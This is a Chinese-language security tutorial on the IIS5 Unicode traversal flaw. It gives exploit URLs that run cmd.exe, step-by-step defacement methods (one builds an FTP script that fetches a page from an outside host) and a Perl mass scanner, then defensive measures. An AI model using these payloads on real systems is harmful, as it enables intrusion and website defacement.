IIS5 UNICODE 編碼漏洞

2天一直在講網絡監聽,雖然我覺得很有必要,但好多人都發來消息說沒什麼太多興趣。雖然還是很想講這個,但因爲大家有意見,就不說。經過快半個月的學習,我想如果你很認真的在看的話的,我想你的基本功已經很好了.今天開始我會開始由一些詳細的攻擊或其他的方法開始說了,有些地方我就不詳細說明了,如果有問題可以發貼來問 

回到話題,unicode 漏洞是最容易讓入侵者得手的一個漏洞,可以不費吹灰之力將主頁改掉,重則刪除 

硬盤上的數據,高手甚至獲取administrator 權限

漏洞自大前年年10 月份公佈至今,居然國內還有這麼多的服務器存在着該漏洞 

下面我從一般的入侵手法分析如何做相應的防護對策

()unicode 漏洞的原理 

有關漏洞的原理網上已經有很多相關的文章了,我不打算詳細說,還是簡單的來了解了解 

好了

實際上就是UNICODE 編碼存在BUG,在UNICODE 編碼中 

%c1%1c -(0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/' 

%c0%2f -(0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = '\' 

NT4 /編碼爲%c1%9c .在英文版裏:WIN2000 英文版%c0%af 

該漏洞是利用擴展UNICODE 字符取代"/""\"而能利用"../"目錄遍歷,故在一臺有 

unicode 漏洞的服務器ip 後邊加上/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\就可 

以看到主機上盤的所有文件及目錄

()unicode 漏洞的危害 

未經授權的用戶可能利用IUSR_machinename 賬號的上下文空間訪問任何已知的文件。 

該賬號在默認情況下屬於Everyone Users 組的成員,因此任何與Web 根目錄在同一邏輯 

驅動器上的能被這些用戶組訪問的文件都能被刪除,修改或執行,就如同一個用戶成功登陸 

所能完成的一樣。 

以上部分內容摘自綠盟

()unicode 漏洞的攻擊手法 

1、利用漏洞修改主頁 

這可能是新手們最興奮的事情了!每當他們成功地黑掉一個網頁後都有一股極大的滿足 

.然而黑網頁也是最簡單的事情。 

手段描述一:入侵者先用掃描工具掃到有漏洞的主機後,IE 的地址欄裏輸入http://主機 

ip/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\就可以看到主機上盤的所有文件 

.要查主頁放在什麼地方的話,可以將後邊的dir+c:\換成set ,從返回的錯誤信息中找到 

PATH_TRANSLATED=c:\inetpub\wwwroot 這一句(具體的路徑根據具體的情況而定).其中的 

c:\inetpub\wwwroot 就是主頁所在的地方!接着入侵者爲了避免系統對特殊字符的檢測,故將 

本地機器的CMD.EXE 程序複製到主機的c:\inetpub\scripts 目錄中,這樣幹起活來就容易多了

他們查到主頁的名字後,就可以利用echo 命令來寫入信息,將內容覆蓋掉主頁文件就把主頁 

給黑了。 

手段描述二:除了上面的土方法外,入侵者可以將有聲有色的黑頁替換主頁,這樣黑得不是 

更爽嗎?來看看他們是如何做到的。 

先在本地硬盤建立個共享文件夾(gale),把黑頁複製進去。照樣把cmd.exe 拷貝到目標 

c:\inetpub\scripts ,名字爲gale.exe,映射本地的gale 目錄爲目標的一個盤(q:) 

q:裏的複製到目標主機的網頁目錄去。覆蓋對方的網頁文件,最後斷開映射就可以了

這是利用本地共享目錄和映射硬盤的方法替換黑頁,如果黑頁有背景又有音樂,文件很大,上 

傳費事,怎麼完美一點呢?請看下邊。 

手段描述三:這種方法也是紅客們黑美國、日本的時候最常用的手法。 

入侵者先申請一個免費空間,把做好的黑頁上傳上去,然後利用echo 命令在目標主機 

上建立一個文本文件,寫上幾行命令,如下: 

目標主機ip/scripts/gale.exe?/c+echo+open+你黑頁所在的免費空間ip>文本文件名.txt 

目標主機ip/gale.exe?/c+echo+你在黑頁空間上的帳戶>>文本文件名.txt 

目標主機ip/gale.exe?/c+echo+密碼>>文本文件名.txt 

目標主機ip/gale.exe?/c+echo+get+index.htm>>文本文件名.txt 

目標主機ip/gale.exe?/c+echo+bye>>文本文件名.txt 

目標主機ip/gale.exe?/c+ftp+-s:文本文件名.txt 

這樣入侵者就可以將黑頁從另外一個空間下載到目標主機上,copy 過去覆蓋就可以了。 

這樣入侵者不受地方的限制,隨便什麼地方了,比如網吧。 

()unicode 漏洞的防護措施 

說了那麼多,現在該轉入正題了,下面我來說說防範的措施,這也是從攻擊中總結出來 

的一些措施,希望對大家有幫助。 

1、打上最新補丁 

作爲一個網絡管理員,爲了服務器的安全,需要不停的打上最新補丁,這是比較有效的 

方法。但你要記住:在網絡上,沒有絕對的安全的,道高一尺,魔高一丈,完全相信防火牆和系 

統補丁往往是很愚蠢的。 

2、冷酷到底,拒人於千里之外 

相信到現在還利用unicode 漏洞入侵的人都是些新手傻瓜們!他們沒有確定的入侵目標, 

只是抓個掃描器來亂掃一通,掃到就黑,掃不到就哭的那種。對付掃描器掃出未知的漏洞, 

這是管理員的聰明之處。如何躲過掃描器的眼睛呢?請先看看下面一個用perl 寫的掃描器代 

碼吧: 

#!/usr/bin/perl 

#Root Shell Hackers 

#piffy 

#this is a quick scanner i threw together while supposedly doing homework in my room. 

#it will go through a list of sites and check if it gives a directory listing for the new IIS hole 

#it checks for both %c0%af and %c1%9c (其他版本的請修改這樣的字符

#perhaps a public script to do some evil stuff with this exploit later... h0h0h0 

#werd: all of rsh, 0x7f, hackweiser, rain forest puppy for researching the hole =] 

use strict; 

use LWP::UserAgent; 

use HTTP::Request; 

use HTTP::Response; 

my $def = new LWP::UserAgent; 

my @host; 

print "root shell hackers\n"; 

print "iis cmd hole scanner\n"; 

print "coded by piffy\n"; 

print "\nWhat file contains the hosts: "; 

chop (my $hosts=); 

open(IN, $hosts) || die "\nCould not open $hosts: $!"; 

while () 

$host[$a] = $_; 

chomp $host[$a]; 

$a++; 

$b++; 

close(IN); 

$a = 0; 

print "ph34r, scan started"; 

while ($a < $b) 

my $url="http://$host[$a]/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ "; 

my $request = new HTTP::Request('GET', $url); 

my $response = $def->request($request); 

if ($response->is_success) { 

print $response->content; 

open(OUT, ">>scaniis.log"); 

print OUT "\n$host[$a] : $response->content"; 

-close OUT; 

} else { 

print $response->error_as_HTML; 

&second() 

sub second() { 

my $url2="http://$host[$a]/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\ "; 

my $request = new HTTP::Request('GET', $url2); 

my $response = $def->request($request); 

if ($response->is_success) { 

print $response->content; 

open(OUT, ">>scaniis.log"); 

print OUT "\n$host[$a] : $response->content"; 

-close OUT; 

} else { 

print $response->error_as_HTML; 

$a++; 

代碼摘自綠盟。 

不知道大家注意到上面長長的兩行$url $url2 了沒有,其實只是簡單的字符串處理而 

已。於是有以下幾種方法避過掃描器的掃描

①更改winnt 目錄名 

安裝winnt 或者win2000 時,缺省目錄是c:\winnt.可以把這個目錄名改成別的目錄名, 

這樣掃描器遞交"http://$host[$a]/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\"類似的 

url 時就會返回"找不到該頁"的信息。這樣大部分掃描器就成失靈了。(不知道小榕的流光能 

不能躲得過,但大部分的用perl 寫的掃描器經這樣改了之後都不起作用了)。 

安裝前就可以這樣,但是已經安裝了,確實不想改winnt/2000 的目錄怎麼辦呢?那好,可以 

看看下邊的

②更改cmd.exe 和各常用命令的名稱 

更改cmd.exe 的名稱也可以達到同樣的效果,而且更加可*,假如你只更改winnt/win2000 

所在的目錄名的話,別人猜對後仍然可以黑掉你。同時把一些不常用的而且有危害的命令改 

成只有你知道的名字,①和②結合的話更完美! 

③改變web 目錄位置 

通常主頁所在的位置是在C:\InetPub\wwwroot 裏。在c:\inetpub 裏有scripts 之類的目錄。 

如果你不需要他們的話,你可以把web 目錄轉移到別的分區,比如e:\netroot 然後把C:\inetpub 

整個刪除掉.日本有一臺主機就做的比較好,它的機器明明存在有unicode 漏洞,但將web 目錄 

轉移到,並且盤是不可寫的,有位新手在QQ 上向我抱怨說:"老大!你說的方法不行呀

我黑不了!嗚嗚嗚~~",!象這樣,一般的人就難以修改主頁了,(注意:這隻能防止一般的人,高 

手只要動動腦筋,照樣能黑掉!). 

④停止不必要的服務 

internet 服務器中,爲了系統的安全,您必須停掉所有的缺省web 目錄的服務。然後統統 

刪掉,只保留你所要的,以免招來後患

⑤改變服務的端口號 

在保證不影響訪問率的情況下,我們可以把web 服務的端口由80 改成別的,比如108。 

因爲很多還是利用unicode 漏洞攻擊的人一般都是新手,他們都是拿一個掃描工具掃一個ip 

段的,這樣做就可以躲避那種掃描一段網段的攻擊者的掃描了。(注意:此方法只能防止這種方 

式的掃描,別有用心的攻擊者照樣可以通過修改掃描器的插件來實行掃描的.但受攻擊的可能 

性已經減低.) 

3、限制iusr_server 的權限 

上面所說的措施是把攻擊者拒絕於門外,如果真的很不幸,給攻擊者找到門上來了,那 

不是死定了?不一定!攻擊者利用UNICODE 漏洞遍歷目錄時的用戶權限是決定於 

iusr_server 的權限的,而通常iusr_server 是屬於guest 組的。我們只要進一步限制iusr_server 

的權限還有可能挽回(對於高手們就不一定這麼說了)。 

建議如下:採用NTFS 格式的文件系統,將web 目錄外所有的訪問權限設置爲:用戶 

iusr_server 不可訪問!注意:不要給iusr_server web 目錄有寫權限!理由是什麼大家都很 

清楚!你的主頁就是給這樣的傢伙給黑的,如果他沒有寫的權限,就象那臺日本的主機一樣, 

一般的新手們就難以下手了。(但是,那些確實是非寫不可的地方,如:聊天室或論壇,是 

可以適當放開的)。 

4、偷喫成功,尋找蛛絲馬跡 

這就是分析訪問日誌,一名合格的管理員,應該有經常查看日誌的好習慣.日誌是非常的 

多的,看起來很麻煩,但對於unicode 漏洞的攻擊,只要查看分析web 服務的訪問日誌就可以 

了。掃描器的掃描和已經攻擊完了的動作都會被記錄下來,要注意特別留意出現的"cmd.exe" 

字眼。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章